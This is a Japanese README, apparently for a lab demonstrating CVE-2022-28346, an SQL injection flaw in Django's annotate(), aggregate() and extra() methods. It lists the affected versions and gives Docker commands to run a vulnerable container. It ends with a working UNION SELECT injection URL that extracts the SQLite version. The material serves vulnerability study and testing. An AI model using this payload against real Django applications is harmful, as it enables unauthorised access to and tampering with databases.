
Djangoパッケージに、SQLインジェクションにつながる欠陥が見つかりました。この欠陥により、悪意のあるSQLクエリを含む巧妙に細工された辞書を使用する攻撃者が、データベースを完全に侵害することが可能になります。
Django パッケージに、SQL インジェクションにつながる欠陥が見つかりました。この欠陥により、悪意のある SQL クエリを含む巧妙に細工された辞書を使用する攻撃者が、データベースを完全に侵害することができます。
コードリポジトリの上記に、CVE-2022-28346 に関する詳細な分析レポート (PDF) があります。
CVE-2022-28346 は、人気のある Python Web フレームワークである Django のさまざまなバージョンで確認された重大な脆弱性です。この脆弱性は特に、Django 2.2 の 2.2.28 より前、3.2 の 3.2.13 より前、4.0 の 4.0.4 より前のバージョンに影響します。
問題の核心は、Django 内の QuerySet.annotate()、aggregate()、および extra() メソッドにあります。これらのメソッドは、渡された **kwargs として辞書展開を伴う巧妙に細工された辞書とともに列エイリアスが使用された場合、SQL インジェクション攻撃に対して脆弱になります。SQL インジェクションは、攻撃者がアプリケーションがデータベースに対して実行するクエリに干渉することを可能にする攻撃の一種です。これを使用すると、通常は取得できないデータ (他のユーザーに属するデータや、アプリケーション自体がアクセスできるその他のデータ) を閲覧できる可能性があります。場合によっては、攻撃者がこのデータを変更または削除し、データの整合性に影響を与える可能性があります。
この脆弱性を徹底的にテストするには、ハードディスクに十分な空き容量があることを確認してください。脆弱性テストを正常に実行するには、最低 1.2 GB が必要です。
すでに Docker がインストールされている場合は、このセクションをスキップして、次の一連の手順に直接進むことができます。
この脆弱性のテストを開始するには、Docker をインストールしてください:
次の手順に進む前に、Docker が動作していることを確認してください。
私たちが作成して DockerHub にプッシュした Docker イメージを取得するには、ターミナルで次のコマンドを実行してください:
sudo docker pull marouanekamal/cve-2022-28346:latest

Docker イメージのプルが完了するまで待ちます。問題が発生した場合は、インターネット接続が原因である可能性があります。安定したアクティブな接続があることを確認してください。
インストールが終了したら、次のコマンドを実行してイメージが存在することを確認してください:
sudo docker images

次のコマンドを使用して Docker イメージを実行できるようになりました:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

これでサーバーが実行され、この CVE を悪用できます ;)
Docker イメージを実行した後、次のリンクにアクセスして URL がアクセス可能かどうかを確認できます:
http://0.0.0.0:8000/

ok という単語が表示され、URL がアクセス可能で、すべてが正常に動作していることを意味します!
それでは、SQL インジェクションを使用してこの脆弱性を攻撃しましょう。そのために、次の URL を入力してください:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

サーバーが使用する SQLite のバージョンを特定することができました ;)